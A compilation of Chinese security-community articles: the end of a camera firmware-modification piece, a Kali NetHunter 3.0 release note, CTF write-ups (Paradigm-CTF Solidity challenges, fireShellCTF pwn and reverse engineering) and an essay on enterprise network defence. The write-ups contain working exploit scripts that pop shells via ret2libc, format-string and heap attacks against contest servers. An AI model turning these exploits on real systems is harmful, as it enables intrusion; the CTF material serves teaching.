由于整个uboot部分被RSA签名校验保护，而我们又没有签名私钥以重新计算签名，所以uboot这部分是没办法改动的。但是通过深入地逆向分析uboot代码，我们发现uboot并没有对固件其他部分进行签名校验，这意味着我们可以随意调整文件系统。此外，我们又发现了linux
kernel的引导参数被保存在了uboot之外的部分，如下图所示：
图4-3 摄像头Linux启动参数
上图中，kernel的引导参数保存位置为0x40000，已经超过了uboot的范围。所以我们可以调整引导参数，如下图：
图4-4 调整Linux启动参数
上图中起始的4个字节为crc32校验，我们更改了启动参数，所以需要重新计算crc32值并填回此处。
接着，查看squashfs文件系统中的启动脚本(big_run.sh和small_run.sh两个)，并对比SDK文档中芯片手册内容，如下图：
图4-5 启动脚本中队引脚的设置
可以看到，在启动脚本中，SoC的此引脚被设置为GPIO功能。我们需要调整启动脚本，将该引脚重新设置为UART功能，如下图所示：
图4-6 调整后的启动脚本
在完成上述两个调整之后，需要将固件重新打包并烧录至Flash中。由于linux启动脚本在binwalk提取的squashfs文件系统中，所以我们需要用SDK中的mksquashfs工具，重新打包squashfs文件系统，具体方法在胖猴专题之前的关于海康萤石设备分析的文章中介绍过，这里就不再赘述。
完成以上工作后，给设备重新上电，即可使用串口登录设备，如下图：
图4-7 通过串口顺利登录设备
## **小结**
到此即是我们对小豚AI摄像头的第一篇，在本文中，我们对此设备进行了简单的外部分析，并顺利的开启了设备的串口功能。但事实上，我们分析的很多设备是无法启用串口的，所以在下一篇文章中，我们会继续分享其他的系统登录方法。在登录系统之后，我们还会分析其中的一个关键程序，就是产生TLS加密通信的关键程序。最后，还希望各位读者能够从中有所收获。
* * * | 社区文章 |
# Kali NetHunter 3.0 发布
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.offensive-security.com/kali-nethunter/nethunter-3-0-released/>
译文仅供参考，具体内容表达以及含义原文为准。
**Android 移动渗透测试平台**
NetHunter 已被积极地开发了一年有余。而从它的上一个版本看来，它简直是经历了一次彻底的变革。我们在 v3.0 版本上花了一点时间，全面翻修了
NetHunter，使它拥有了更加优美的接口和更加充分运转的功能集合。
通过由 binkybear、fattire 和 jmingov 领导的 NetHunter
社区中令人惊喜的工作，我们现在可以很自豪很自信地说，NetHunter 是一款稳定的、商业级的移动渗透测试平台。所以，我们对今天NetHunter 3.0
的发布感到非常兴奋——让游戏开始吧！
**Kali NetHunter 3.0 有什么新颖之处**
**NetHunter Android 应用的重新编写**
NetHunter Android
应用被完全重新设计，并变得更加“以应用为中心”。我们加入了许多新的特性和攻击实例，以及一大堆社区驱动的bug修复。NetHunter
应用现已趋于成熟，已经成为了一个帮助应对各种复杂攻击的实用工具。此外，它现在还能让你独立地管理你的 Kali chroot，包括在需要时重建和删除
chroot。你也可以选择在你的 chroot 中安装独立的 metapackages，不过默认的 kali-nethunter metapackage
是包含所有的基本必需品的。
**支持 Android 5.0 Lollipop 和 Android 6.0 Marshmallow**
是的，你没听错。NetHunter 现在支持 Marshmallow（Android AOSP
6.x）的适用设备了——尽管我们并不一定是“最新即最好”理论的粉丝。我们最爱的设备依然是一加手机（OnePlus One
phone），这是出于对尺寸、CPU/RAM 资源和Y型电缆充电支持的综合考虑。
**针对新设备的全新构建脚本和更简易的整合**
我们对应用的重新编写还包括了生成图像的代码，我们将它完全移植到了 Python，并且显著地优化了构建时间。构建程序现在可以构建不含内置 Kali
chroot 的小型 NetHunter 图像（~70MB）——允许你之后通过这个应用下载 chroot。
我们同时也使在那些 NetHunter 能运行的新设备上创建端口变得更加容易。我们发现有几个感兴趣的 PR 们已经开始考虑对 Galaxy
设备的支持问题了……
**精彩的 NetHunter 文件编制**
也许我们对这个文件编制有点偏爱，或许它只是“不错”而不是“精彩”…… 不过它确实比之前优秀了很多，你可以在 [NetHunter Github
Wiki](https://github.com/offensive-security/kali-nethunter/wiki)
的表格中一探究竟。这里面还有关于下载、构建、安装NetHunter的主题，还包括关于每一条NetHunter攻击实例和特性的速览。
**NetHunter Linux Root Toolkit 安装程序**
我们推出了新的 NetHunter 安装程序，用于在 Linux 或 OSX 上运行。这个安装程序是由一套 Bash
脚本构建而成的，你可以利用它在支持的一加或 Nexus 设备上解锁和快速存储安装 NetHunter 图像。让我们欢迎由 jmingov 开发的
[NetHunter LRT](https://github.com/offensive-security/nethunter-LRT)。
**下载 NetHunter 3.0**
要想获取 NetHunter Zip of Joy（与[Kali ISO of Doom](https://www.offensive-security.com/kali-linux/kali-linux-iso-of-doom/)相对），进入 the Offensive Security
NetHunter 的下载页面，为你的设备下载图像。注意一些 Nexus 图像有 Lollipop 和 Marshmallow
的双重特征。一旦你下载完毕后，请访问 [NetHunter Wiki](https://github.com/offensive-security/kali-nethunter/wiki) 查看安装说明。
下载链接：[https://www.offensive-security.com/kali-linux-nethunter-download/](https://www.offensive-security.com/kali-linux-nethunter-download/)。
**是 OSCP ？再努力一把，赢取 NetHunter 设备**
几天前我们发布了一篇关于“[成为OSCP意味着什么](https://www.offensive-security.com/offsec/what-it-means-to-be-oscp/)”的博文。如果你有 OSCP 认证并想获得赢取一加 NetHunter 设备的机会，那么来阅读我们之前的那篇博文吧！
**NetHunter 3.0 Image Gallery**
如果不放一些截图可以难以引起大家的兴趣和重视，那么，请尽情享受吧！ | 社区文章 |
# Paradigm-CTF 2题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
给出了以下合约
1. Setup.sol
2. Wallet.sol
* * *
Setup.sol
pragma solidity 0.5.12;
import "./Wallet.sol";
contract WETH9 is ERC20Like {
function deposit() public payable;
}
contract Setup {
WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
uint public constant WANT = 50 ether;
Wallet public wallet;
constructor() public payable {
require(msg.value == WANT);
address tokenModule = address(new TokenModule());
wallet = new Wallet();
wallet.allowModule(tokenModule);
WETH.deposit.value(msg.value)();
WETH.approve(address(wallet), uint(-1));
wallet.execModule(tokenModule, abi.encodeWithSelector(TokenModule(0x00).deposit.selector, WETH, address(this), msg.value));
}
function isSolved() public view returns (bool) {
return WETH.balanceOf(address(this)) == WANT;
}
}
pragma solidity 0.5.12;
contract ERC20Like {
function transfer(address dst, uint qty) public returns (bool);
function transferFrom(address src, address dst, uint qty) public returns (bool);
function approve(address dst, uint qty) public returns (bool);
function balanceOf(address who) public view returns (uint);
}
contract TokenModule {
function deposit(ERC20Like token, address from, uint amount) public {
token.transferFrom(from, address(this), amount);
}
function withdraw(ERC20Like token, address to, uint amount) public {
token.transfer(to, amount);
}
}
contract Wallet {
address public owner = msg.sender;
mapping(address => bool) _allowed;
mapping(address => bool) _operators;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOrOperators {
require(msg.sender == owner || _operators[msg.sender]);
_;
}
function allowModule(address module) public onlyOwner {
_allowed[module] = true;
}
function disallowModule(address module) public onlyOwner {
_allowed[module] = false;
}
function addOperator(address operator) public onlyOwner {
_operators[owner] = true;
}
function removeOperator(address operator) public onlyOwner {
_operators[owner] = false;
}
function execModule(address module, bytes memory data) public onlyOwnerOrOperators {
require(_allowed[module], "execModule/not-allowed");
(bool ok, bytes memory res) = module.delegatecall(data);
require(ok, string(res));
}
}
可以看到成功的条件是拿到WETH代币的50ETH。
我们从头开始审计一下SetUp合约。可以看到首先要求了我们msg.value需要为50ETH。之后他先是新创建了TokenModule合约，以及wallet合约。之后他把50个ETH全部捐献到WETH这个币池中。approve用于定义交易上限。-1
也就是相当于随便使用了。然后调用了wallet的
execModule方法。发现execModule中利用的是delegatecall操作的是Wallet本身的方法。这里可以注意一下。
之后可以看一下Wallet.sol中的合约。ERC20Like类似ERC20代币规则的接口
估计是WETH实现时候用到的。TokenModule 这里用了一个接口实现Token转账。
Wallet合约中有两个修饰器。一个只允许发起交易人是合约创建者，还有一个是除了创建者之外的一个operater为真的但是add_operator只能通过onlyOwner来操作。
最后还有我们的execModule是需要满足onlyOwner或者operator条件。
那么我们就可以开始考虑如何先把两个修饰器通过。
我们这时候可以注意到，他其实给出了这个WETH合约的地址，我们去考虑查看下这个合约我们是否能进行一定方法的调用。
我们可以发现 其实只要我们一方能够给出50ETH这样的一个转账，同时也是可以实现触发Solved成功的。所以考虑只需要进行转账50ETH就足够了。
pragma solidity 0.5.12;
import "public/Setup.sol";
contract Exploit {
WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
constructor(Setup setup) public payable {
WETH.deposit.value(50 ether)();
WETH.transfer(address(setup), 50 ether);
}
}
比较简单。
* * *
## Lockbox
强网杯有一题和这题基本一模一样。但是强网杯未给出源码需要自己逆向。分析一下这题。
pragma solidity 0.4.24;
contract Stage {
Stage public next;
constructor(Stage next_) public {
next = next_;
}
function getSelector() public view returns (bytes4);
modifier _() {
_;
assembly {
let next := sload(next_slot)
if iszero(next) {
return(0, 0)
}
mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000)
pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))
calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))
switch call(gas(), next, 0, 0, calldatasize(), 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
}
}
contract Entrypoint is Stage {
constructor() public Stage(new Stage1()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
bool public solved;
function solve(bytes4 guess) public _ {
require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");
solved = true;
}
}
contract Stage1 is Stage {
constructor() public Stage(new Stage2()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(uint8 v, bytes32 r, bytes32 s) public _ {
require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?");
}
}
contract Stage2 is Stage {
constructor() public Stage(new Stage3()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(uint16 a, uint16 b) public _ {
require(a > 0 && b > 0 && a + b < a, "something doesn't add up");
}
}
contract Stage3 is Stage {
constructor() public Stage(new Stage4()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ {
require(keys[idx % 4] == lock[idx % 4], "key did not fit lock");
for (uint i = 0; i < keys.length - 1; i++) {
require(keys[i] < keys[i + 1], "out of order");
}
for (uint j = 0; j < keys.length; j++) {
require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd");
}
}
}
contract Stage4 is Stage {
constructor() public Stage(new Stage5()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(bytes32[6] choices, uint choice) public _ {
require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!");
}
}
contract Stage5 is Stage {
constructor() public Stage(Stage(0x00)) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve() public _ {
require(msg.data.length < 256, "a little too long");
}
}
`
套娃合约。最重要的是看懂每个的逻辑 以及数据部署。怎么给套娃中的下一个合约传参。
这里给出了一个Setup.sol
pragma solidity 0.4.24;
import "./Lockbox.sol";
contract Setup {
Entrypoint public entrypoint;
constructor() public {
entrypoint = new Entrypoint();
}
function isSolved() public view returns (bool) {
return entrypoint.solved();
}
}
相当于告诉我们的入口点是要从Entrypoint()开始。我们首先抛开其他传参布局因素，挨个解决套娃合约。
Entrypoint
contract Entrypoint is Stage {
constructor() public Stage(new Stage1()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
bool public solved;
function solve(bytes4 guess) public _ {
require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");
solved = true;
}
}
这里我们可以看到进行了一个随机数预测。没有什么难点。进入下一个。
### Stage1
contract Stage1 is Stage {
constructor() public Stage(new Stage2()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(uint8 v, bytes32 r, bytes32 s) public _ {
require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?");
}
}
这里进行了一个ecrecover
这是一个利用椭圆曲线进行验证的函数。这个privatekey在一个网站上是给出的。我们直接去查询最终的值就可以。<http://www.privatekeys.info/ethereum/1>
可以看到。这里的私钥是0x000000000000000(…)1
利用这个进行eth-sign。单纯的web3的sign-in是有问题的他会自动加入一个消息头。导致消息的 r s v不太相同。需要利用其它的库。
给出Sissel👴用的<https://gist.github.com/onyb/cf795c819fdf8aa6015de2772fde24de>
这里我们可以知道 他要求的就是我们的
然后我们还知道我们的slot0的高位还需要满足等于bytes32 的前面随机数预测。
也就是
(uint(bytes4(blockhash(block.number - 1))) << 224) | 0xff1c
剩下的2个storage正常部署即可。接下来我们可以关注到下一个的Stage2
### stage2
contract Stage2 is Stage {
constructor() public Stage(new Stage3()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(uint16 a, uint16 b) public _ {
require(a > 0 && b > 0 && a + b < a, "something doesn't add up");
}
}
这里我们可以看到他取了 2个 storage的uint
。因为这里他是从上个合约中直接call的。所以我们可以考虑到这里他使用的就是我们前面已经部署过的数据了。也就是v和r的低位。数据满足溢出条件。可以直接通过。
### stage3
contract Stage3 is Stage {
constructor() public Stage(new Stage4()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ {
require(keys[idx % 4] == lock[idx % 4], "key did not fit lock");
for (uint i = 0; i < keys.length - 1; i++) {
require(keys[i] < keys[i + 1], "out of order");
}
for (uint j = 0; j < keys.length; j++) {
require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd");
}
}
}
这时的slot部署是这样的。
slot0 idx guess v a choices[0]
slot1 keys[0] r b .....1
slot2 keys[1] s .....2
slot3 keys[2] .....3
slot4 keys[3] .....4
slot5 lock[0] .....5
choice
这里我们可以看到他传入一个uint的idx , 但是他做的是%4的运算，所以我们可以理解为他只对后4位是有意义的也就是uint16.
然后要求了keys[i]<keys[i+1] 并且 keys[0]=idx[0] 最后还有一个部署上的要求。这里是对后面还要接入的数据进行操作的。
### stage4
contract Stage4 is Stage {
constructor() public Stage(new Stage5()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }
function solve(bytes32[6] choices, uint choice) public _ {
require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!");
}
}
这里就比较简单了 。再任意的6块slot中部署一个abi.encodePacked(“choose”) .
这里给出一个值得注意的点。单纯的abi.encode(“choose”)相当于直接进行long_to_bytes到高位。和enocdePacked(“choose”)完全不同。
但是为了满足上面的要求这里只能部署到slot4上。
最后带着selector一起abi.encode之后直接调用data进行调用即可成功绕过。
所需部署的数据如下
entrypoint.solve.selector 调用方法的4字节
uint(uint16(0xff1c)|(uint(byte4(blockhash(block.number-1))) << 224) 高位为entry的预测随机数。低位是我们的v
0x274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61 签名用的s
0xa129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236 签名用的v
0xa129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04238 满足差值为偶数
(keccak256('choose')） 通过stage4的条件
0x274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61 lock[0]=key[0]
0x0000000000000000000000000000000000000000000000000000000000000004 做的choice 也就是指向abi.encodePakced("choose")的指针。
最后把这些一起abi.encodePacked来打包整个交易数据。
就可以成功通过所有的套娃合约。 | 社区文章 |
# fireShellCTF 2019 RE&PWN
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## PWN
### leakless
这题就是一个简单的栈溢出，有`puts`，依次泄露libc版本，getshell即可
不过做题时有点问题，本地成功，远程没有回显，看到这题叫`leakless`，感觉事情不太对劲
然而换了题目给的备用服务器就成功了,这里利用了一个libcSearch的库但是读者可以利用libc-data进行一个搜索。题目比较简单就不多说了。
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
p = remote("35.243.188.20" , 2002)
elf = ELF("./leakless")
payload = "a" * 0x48 + "b" * 4 + p32(elf.plt["puts"]) + p32(elf.sym["feedme"]) + p32(elf.got["puts"])
p.sendline(payload)
puts_addr = u32(p.recv(4))
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x48 + "b" * 4 + p32(system) + p32(elf.sym["feedme"]) + p32(bin_sh)
p.sendline(payload)
p.interactive()
### casino
这个题有点意思，首先是一个printf的洞
时间种子和unix时间戳有关，后面循环99次，如果v5(累加和)大于100就打印flag
注意到这里循环只有99次，而bet只有1，也就是说就算数字正确99次，也不满足条件
正好printf还没用上，就用来把bet改成一个稍大的值，2就可以
from pwn import *
context.log_level = 'debug'
#p = process("./casino")
p = remote("35.243.188.20","2001")
payload = "aaa%11$n" + p64(0x602020)
p.send(payload)
p.interactive()
exp里只改了bet的值，然后交给终端交互，因为感觉time写起来有点麻烦，time和rand相关都交给C了
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
int main(int argc, char**argv) {
unsigned int t = time(0);
unsigned int seed = t / 0xA + 3;
srand(seed);
for (int i = 0; i < 100; i++) {
printf("%d ", rand());
}
return 0;
}
因为时间种子是unix时间戳除以10，所以有很大的容错性…
把C代码输出结果喂给终端就可以了
不过有点坑的地方是，远程经常死在42/100和83/100，也没想到理由
然而换了个服务器就好了
### babyheap
这个题目刚拿到的时候还是比较困恼的因为这里没有可以泄漏的函数，但是发现给我们的buf是一个空指针可以利用这个空指针进行操作。
#### 主程序
这里简单的看一看主程序，其中很多我们有进行标名称大概就是一个create函数（只可执行有限次数）无法输入字符仅用做固定0x60进行malloc
然后delte操作，然后edit操作，接着给了我们一个gift操作这里可以让我们额外申请一个块且可输入。
#### 漏洞点
这里有一个uaf洞，但是说实在的其中没有常规泄漏的操作让我有点迷，最后发现存在buf这一个空指针可以加以利用。
#### 利用思路
首先利用错位技术绕过对size的检查和fastbin
attack将我们的堆分配到bss段从而改变buf指针，指向atoi函数，泄漏出libc及地址。下一步buf->atoi->got，将got内容改为system然后在下次选项输入/bin/sh就可以getshell了。
#### exp
from pwn import *
p=process('./babyheap')
#p=remote('51.68.189.144',31005)
context(log_level='debug')
a=ELF('./babyheap')
e = a.libc
p.readuntil('>')
gdb.attach(p)
def create():
p.writeline('1')
p.readuntil('>')
def dele():
p.writeline('4')
p.readuntil('>')
def edit(a):
p.writeline('2')
p.readuntil('Content?')
p.write(a)
p.readuntil('>')
def gift(a):
p.writeline('1337')
p.readuntil('Fill')
p.write(a)
p.readuntil('>')
create()
dele()
edit(p64(0x602095-8))
create()
gift('a'*(59-0x10)+p64(0x602060))
p.writeline('3')
p.readuntil('Content: ')
libc=u64(p.readuntil('n')[:-1].ljust(8,'0'))-e.symbols['atoi']
oneget=libc+e.symbols['system']
edit(p64(oneget))
print hex(oneget)
p.write('/bin/sh')
p.interactive()
## RE
### Blackbox-0
`.net`的逆向，加了混淆，用`dnSpy`打开，转到入口点后，调试很久后发现在 `u000Fu2009`处发现可疑的函数
text是可疑的变量，下断点后运行几次发现base64加密后的flag
`RiN7TmljZV9hbmFsaXN5c19icm9fPV1ffQo=`
解密后得到flag：`F#{Nice_analisys_bro_=]_}`
### Blackbox-1
和第一题差不多，断点位置也几乎一样，不过这次下了断点两下就出明文flag了
### Blackbox cipher
和前两题差不多，关注`u0002u200A`函数的第80行`result`
可疑的字符串`RiN7SXQnc19hbGxfYWJvdXRfbWVtb3J5X2ZvcmVuc2ljc30K`
base64解密后发现`F#{It's_all_about_memory_forensics}`
> 三题设置的比较简单，但还是感到自己对混淆这块的不熟悉
### crackme
做了前三个逆向，既然都是连蒙带猜的黑盒…
处理函数比较复杂，不太熟悉线程相关，还是黑盒吧
运行下这个程序，尝试输入几次，发现输入`F#`和`F#{`时，会有一些线索
注意到这就是比赛给的一些信息`H4ck1ng Fl4m3s In th3 Sh3lL`
猜测这题还是黑盒，用爆破应该就行
IDA看到有一段字符数组，里面有`F # { }` ，应该就是爆破需要的字符集
而如果输入的k个字符和flag的前k位有不同，那么程序会过很久才会回显，利用这一点可以在脚本中设置`timeout`，其余部分比较简单
这里赛后学习时找到了一个比我写的好一些的脚本，又修改了一下
from pwn import *
context.log_level = 'debug'
charset = '_#G1VWk92{5toOnCQF6zXpifDh8SdYlev uq0RMajKsrHUx}IyTbgAm3L4BcNEZJ7w'
flag = "F#{"
info = 'H4ck1ng Fl4m3s In th3 Sh3lL'
def func(a, b): # strcmp
if len(a)==0:
return 0
count = 0
while a[count] == b[count]:
count+=1
return count
def test(c):
p = process('crackme')
p.sendline(flag + c)
result = p.recv(timeout=0.5)
p.close()
return result
for i in range(len(info)):
for c in charset:
if func(test(c),info) == i+4:
flag += c
print flag
break
# add '}'
## 总结
题目有难有简单，打国际赛最主要的涨姿势和开拓自己的眼界。。。继续学习道路漫长 | 社区文章 |
**本文纯属个人经验和见解，如有语言不妥之处，还望批评指出。**
### 概述:
网络安全不仅仅是网络上的信息安全,涉及领域很广。
从广义来说，凡是涉及到网络上信息的保密性、完整性、可用性、可控性和可审查性的相关技术都属于网络安全的研究范畴。
百度定义：网络安全是指网络系统的[硬件](https://baike.baidu.com/item/%E7%A1%AC%E4%BB%B6)、[软件](https://baike.baidu.com/item/%E8%BD%AF%E4%BB%B6/12053)及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭受到破坏、更改、泄露，系统连续可靠正常地运行，[网络服务](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1)不中断。
我们要建设好网络安全，这个是很不容易的，因为涉及的面太广，网络又太过于复杂，又因技术人员的水平和公司安全管理的差异，或多或少造成了很多东西不可实现。
下文，笔者将介绍网络安全主要的防御点和攻击点，由于内网架构建设往往和企业自身特点相关，所以文中相关介绍可能与现实情况有些出入。
### 0X00 网络架构
一个好的网络架构不仅便于管理而且能有很好的防御性。
一般地，企业会有很多个部门，企业的网络分内网和外网，内网又分为办公网和生产网和其他网络，那么如何规划好各个网络之间的联系，成为了网络架构者们头疼的问题。
面对如今的网络安全现状，有数据的企业不被攻击是很难避免的，所以一个好的网络架构就会是企业内网的一道防御点。下面画张图来简单的了解下。
**当然，真实的网络环境比这个草图还要复杂的多，这张图只是一个抽象图，并不能完美呈现网络的全部架构。如要细分的话可能就是体力活了。**
一般来说，企业网络都会是相通的，而且内网的防御一般来说都会是比较薄弱和复杂的，所以对于内网防御就需要大大加强。
对于各个网络环境来讲，是不需要共通的，比如办公网环境，办公网环境是比其他网络更容易受攻击，因为员工不会按照正常的安全操作规范去操作的，员工的管理难度是有的，所以如果办公网和其他网络共通，一台办公网的设备受到攻击，那么整个内网就会直接沦陷。反之，如果其他网络被攻击也是一样的效果。
那么，规避的办法就是不让各个网络共通，各个部门的网络不能连通，其实这些网络也没有共通的必要，那么各个网络或者部门需要连通就要有内部的OA平台。所有的交流由交互服务器环境进行统一管理。如果说还有其他的需求，办法就是都通过外部接口进行联系，每个网络都是独立的个体，风险就会降低许多。
### 0X01 信息连通
接上面的话题，各个部门和其他网络不能连通，那么连通的方式就是要有一个企业自己内部的办公平台，所有的员工交互都需要在这个上面交互，当然也是可以把网络做成单独的个体。
在内网中搭建一个内网办公服务器，部署OA服务器，相关会议通知、部门审批都在上面发布、处理。
服务器当然是放到独立的内部外部网络，由专门的审计服务器进行审计，上传的文件都是要经过处理检查后才能上传保存。
相应的日志是必不可少的，对溯源很有帮助。
### 0X02 内网嗅探
内网常见的攻击莫过于内网嗅探了，一般攻击者拿到权限都会对网络进行扫描，发现主机漏洞并针对性进行攻击。
这类攻击不怎么好防范，只能是做好策略，在网关上做好防ARP攻击等策略，绑定同IP段的MAC地址，自身机器也要确保基线配置合规。
内网中可以嗅探的协议有很多，ICMP、DNS都是可嗅探的，还有就是内网钓鱼要特别防范，在内网中的钓鱼，即使钓鱼特征非常明显，成功的几率也是非常大的，因为人都有在安全感好的地方放松警惕习惯，这个时候就需要防护策略的保障了。
### 0X03 内网监控
在内网中安装监控软件，监控软件监听异常流量，现在市面上的软件，包括开源免费和收费的软件都是有好的可以防范的工具，一旦出现异常发包都会触发报警和记录。
这样做可能会引起员工的不满，所以这个内网监控的做法就只能是监控IP段中的流出流入流量是否异常，每台设备的发包是否正常，更多的就还是只能靠策略防火墙了。
### 0X04 防火墙
防火墙一般是配置在外网出入口处，但是一道防线肯定是不够的，那么防火墙的配置就是需要特别策划了。每一种品牌的防火墙优缺点不一样，防护策略功能和能力也是良莠不齐的，所以我们选择防火墙就需要从多方面考虑。
这里我们先排除经费的问题，当然这个看企业对安全的投入持什么态度。防火墙的选择必须依靠业务自身特点来选择，总不可能一套防DDOS的防火墙你用来当Web的WAF用，不合适吧？所以我们就需要有针对性的选择，网络需要选择那种类型，办公网需要选择哪种类型。针对性的在多个网络出入口进行防火墙设置，当然这个投入是相当大的，所以没钱就…..
当然一般的公司，如果不是什么机密部门或者重要数据存放的网络，普通办公场所就一台总防火墙加一般杀毒软件就OK，不用考虑太多。如果不是攻击者的撒网式攻击，否者根本没有被攻击的可能，毕竟攻击是要讲利益和成本的。
在各个部门的出口入口防火墙策略上做好安全配置，可以让恶意软件或者反向连接型后门出不了当前网段，但对于云端木马来讲，就显得有点鸡肋了，这个也是最不好防范的地方，因为云端木马不按常理出牌，一般依赖客户端，只要设备能够与外界通信，木马就能够执行，并且能够隐藏的很好。所以解决办法就是在防火墙注册软件特征码，当然当前的防火墙还不具备这种功能，所以就只能靠软件来监控软件特征码（这类软件市面上没有全面的，如果公司有实力，可以自己研发），不合规的统统不让出。
不过，这里会有个问题，就是如果病毒流量隐藏在其中呢？如果员工自己新安装了软件呢？所以这个就只能是对服务器有效了？其实不然，我们可以建立异常流量库，是病毒木马都会执行命令，那么就肯定会有命令执行的相关特征，建立大量的特征库，针对性的进行过滤告警，防范也就顺其自然了。
### 0X05 日志分析
日志分析是运维安全中比较重要的，这个和防火墙差不多，依赖于人工和软件自动化，如果企业有条件，可以加上AI自动学习机制，这样可以减少人力，再一个可以增加攻击识别率。
一般来讲，当服务器产生日志，日志是不需要存放到本地的，日志需要直接发送到专门的日志存储服务器上面去，这样可以防止被入侵时，日志被删，减小无法取证溯源的风险。然后审计服务器开始对日志进行审计，提取入侵痕迹，对事件进行报警。
其实日志分析也是一门取证学问，日志不是万能的，但没有日志又是万万不能的。
### 0X06 无线/vpn网络
通常，我们登录堡垒机或者从外部访问内网都是需要用VPN来登录的，所以VPN又是攻击者攻进内网的一个点，排除VPN自身0day,防范的点一般就是U盾加帐号密码来登录。对于帐号密码登录的VPN，风险是比较大的，攻击者可以通过暴力破解、撞库等手段进行帐号密码猜解。所以一个好的强登录手段可以防范此类攻击。
下面来说说无线网的安全，一般公司都会安装无线网的，其中有些公司会把无线网安装部署到内网中，部署到办公网中，这个是非常危险的部署方式。如果攻击者拿到无线网密码，那么他就可以直接内网漫游了，所以无线网应该怎么部署是一个值得探讨的问题。
通常，无线网是部署在其他网络环境中的，也就是与内网是分离开的，或者是内网中独立出来的一个网络，此网络无法与公司其他内部网络进行通信，只能是具有普通的上网功能，供来宾使用。
在这个地方有一个安全的问题，就是公司的无线网设备都是部署于第三方网络环境中，本身无问题不与内网产生关系，但是员工私自在办公电脑上开放无线网，这里的无线网不代表公司办公电脑是否安装无线网卡，这个可以是随身WIFI，U盘无线等设备，这种情况的发生不是不可能。
但是这种情况的发生是很难管控的，因为这个属于员工自有行为，屏蔽或者取消USB插口的话，如果特殊情况要用，又当如何？这种处理场景是有条件限制的，所以这个就只有对问题采取规避措施了，如培训或者对事件发生进行处罚等，健全公司安全管理措施。
### 0X07 内网管控
在办公电脑或者在网服务器中关闭无关端口，屏蔽高危端口。在系统安全中笔者也提到过，端口是攻击者探测信息的重要渠道，所以我们必须关闭无关端口，因为你也不知道这个端口究竟有无漏洞，还有就是高危端口，如Windows的SMB（135，445）的端口，MS08-067,MS17-010就是一个例子，这两个漏洞都是史诗级别的，威力巨大，所以像这些容易被攻击的高危端口都应该关掉，如存在特殊情况应做好安全策略来防范,毕竟有些地方还是需要这些端口来通信的。
内网的管理一般都是批量管理的，如域管理，因为公司小可以不用，但如果一个大公司的话，这样一台一台的管理根本就不可能，所以批量的实现，可以减少管控带来的难度。
域的安全是值得重视的，健全域环境和配置合规，保证域安全。
在内网传输中的传输需要加密，当然不敏感的数据除外。
### 0X08 蜜罐
搭建蜜罐环境可以帮助我们更好的了解攻击者的手法，参考其手法放入公司策略。蜜罐的作用不仅能够追踪最新的攻击手法，也是获取威胁情报的重要途径，以至于当服务器被入侵时，能够找到并对攻击进行溯源，从而避开了系统日志分析的短板。
### 0x09 制度建设
公司内部网络建设是比较难的，也并不是笔者的几句话能够说的清楚的，这个针对于内网制度建设的一个小点，也是笔者的一点心得，也相信许多公司并没有这方面的制度，安全制度的建设将在以后的安全体系建设篇中详细探讨，既然讲到了，就在这里先做个介绍。
针对于网络安全，公司有属于自己的业务，那么公司业务的清单是必须要有的
> 1.公司所有部门的服务器清单
>
> 2.公司所有人员电脑详细清单（包括型号、MAC、OS等）
>
> 3.公司所有服务器端口开放情况
公司服务器所有开放的端口需要有个记录，包括新开端口需要申请和报备，由公司统一网关进行授权处理，这样做的目的可以快速定位未知开放端口，也方便了安全审计系统。
### 0X10 网络安全建设总结
企业若要建设强大的网络安全体系,人才是很重要的，找一个对网络架构很熟悉的管理人才，对企业的安全体系建设至关重要，当然还要组建起一个团队，分工细致和明确，这样才能达到预期目标。
建立网络安全体系只需要思考下面三点
> 1. 建设网络安全体系的目标是什么？
>
> 2. 建设网络安全体系能给企业带来什么？
>
